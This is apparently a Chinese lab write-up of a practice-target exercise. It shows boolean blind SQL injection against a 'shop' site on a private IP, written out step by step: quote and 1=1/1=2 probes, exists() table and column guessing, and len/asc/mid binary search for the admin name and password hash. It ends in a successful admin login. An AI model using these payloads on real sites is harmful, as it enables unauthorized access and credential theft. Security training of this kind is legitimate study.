shop靶机实践sql盲注获取后台管理员账号密码

àì夳堔傛蜴生んèń 2022-05-29 03:19 214阅读 0赞

# shop靶机盲注获取后台管理员账号密码 #

## 找到注入点。 ##

注入点：[http://192.168.244.131:60785/shop/productshopxp.asp?id=485][http_192.168.244.131_60785_shop_productshopxp.asp_id_485]

首先分析一下为什么确定这是一个注入点：

一、 正常页面如下：

![format_png][]

二、 在URL后加’即[http://192.168.244.131:60785/shop/productshopxp.asp?id=485][http_192.168.244.131_60785_shop_productshopxp.asp_id_485]’页面报错

![format_png 1][]

三、 在URL后加and1=1即[http://192.168.244.131:60785/shop/productshopxp.asp?id=485][http_192.168.244.131_60785_shop_productshopxp.asp_id_485]and 1=1 页面无变化

![format_png 2][]

四、 在URL后加and1=2即[http://192.168.244.131:60785/shop/productshopxp.asp?id=485][http_192.168.244.131_60785_shop_productshopxp.asp_id_485]and 1=2页面报错

![format_png 3][]

由以上几点可以得知，我们提交的一些数据或者命令被数据库执行，可以确定这就是一个注入点。

## 获得后台数据库中存储网站用户和密码的数据表。 ##

从这个提交的数据我们大概可以猜测该注入为数字型的注入  sql语句大致如下：

Select  \* from 表名 where id = 数字

判断是否存在某个表我们用下面的语句

and exists(select count(\*) from 表名)

如果存在，则页面无变化，如果不存在，则页面返回没有此id的商品

我们先测试下admin这个表是否存在

and exists(select count(\*) from admin)

![format_png 4][]

发现页面无变化，则存在该表，再测一下users这个表

![format_png 3][]

发现报错，大致可以认为该后台数据库中存储网站用户和密码的数据表，

那我们再测一下这个表中是否存在users或者user或者admin 和password这两列是否存在

and exists(select count(password)from admin)

![format_png 5][]

and exists(select count(users)from admin)

![format_png 6][]

结果发现users和user这两列都不对

再试试admin

and exists(select count(admin)from admin)

![format_png 7][]

发现admin这一列存在，则可以确定如下：

存储账号和密码的表为admin

逐位猜解出用户名和密码（只需写出猜解前两位的过程）。

猜解用户名和密码时，我们需要一位一位的猜解，首先是要获取某一行的用户名和密码的长度，用法如下：

and (select top 1 len(admin) fromadmin)>一个数字

这里用二分法确定其长度和每一位字段的ascll值，

and (select top 1 len(admin) fromadmin)>7

![format_png 8][]

发现报错

and (select top 1 len(admin) fromadmin)>4

![format_png 9][]

页面正常

and (select top 1 len(admin) fromadmin)>5

![format_png 10][]

页面报错，则admin表中用户名这一列第一行用户名长度为5

下面开始猜解每一位的ascll值

and (select top 1 asc(mid(admin,1,1))from admin)>97

这里top 1代表第一行   (admin,1,1)中第一个1为第一位，第二个1代表偏移几位，

![format_png 11][]

页面报错

and (select top 1 asc(mid(admin,1,1))from admin)>50

![format_png 12][]

页面正常

通过这样的方式确定admin第一行第一个字母ascll值为97 对照一下得a

下面猜测第二位

and (select top 1 asc(mid(admin,2,1))from admin)>99

![format_png 13][]

页面正常

and (select top 1 asc(mid(admin,2,1))from admin)>100

![format_png 14][]

页面报错 则第二位ascll值为100  是d

循环这样的方式最后得admin第一行为admin，password为MD5加密后的密码  解密后为admin

## 用获得的用户名和密码验证是否能登陆。 ##

找到管理页面，

[http://192.168.244.131:60785/shop/admin/login.asp][http_192.168.244.131_60785_shop_admin_login.asp]

![format_png 15][]

![format_png 16][]

** **

**管理登录成功！**

[http_192.168.244.131_60785_shop_productshopxp.asp_id_485]: http://192.168.244.131:60785/shop/productshopxp.asp?id=485
[format_png]: /images/20220529/cfc8470eebf747e7a8f13f68ddbc63d6.png
[format_png 1]: /images/20220529/0346aa82cf1f4d7db52c7bc34da9dcb6.png
[format_png 2]: /images/20220529/3735a25559f54de2b6f4a84a1162fc36.png
[format_png 3]: /images/20220529/33738caa50664e17a72c3f43c8b89ea9.png
[format_png 4]: /images/20220529/9edc440410b84da1bf252d2f24865f22.png
[format_png 5]: /images/20220529/26b65e821d2146478566d379fdda1a43.png
[format_png 6]: /images/20220529/fb4dac20e7a3434988fbe32ac0e3dd57.png
[format_png 7]: /images/20220529/1720c4752e494433888cecb2646e3b43.png
[format_png 8]: /images/20220529/8f9fd8d6f5fd48f7933e77a1b04b3db4.png
[format_png 9]: /images/20220529/6a764d406c464f5586eeb4adba90d438.png
[format_png 10]: /images/20220529/8aeb7a2e85794308851e953937bc4a5c.png
[format_png 11]: /images/20220529/700c2d8282b4479a93073b7d11fbb5b8.png
[format_png 12]: /images/20220529/c58021ffe80247b2aed44aa246a914c7.png
[format_png 13]: /images/20220529/d4a64e107fda4150a69e808d1813a722.png
[format_png 14]: /images/20220529/3776eb2fd66b4f708ffdc99c05d7d159.png
[http_192.168.244.131_60785_shop_admin_login.asp]: http://192.168.244.131:60785/shop/admin/login.asp
[format_png 15]: /images/20220529/16526c8ceea24df4b3d8d05c7dbb5496.png
[format_png 16]: /images/20220529/20293db6ff9344df91efe8f1df25de8a.png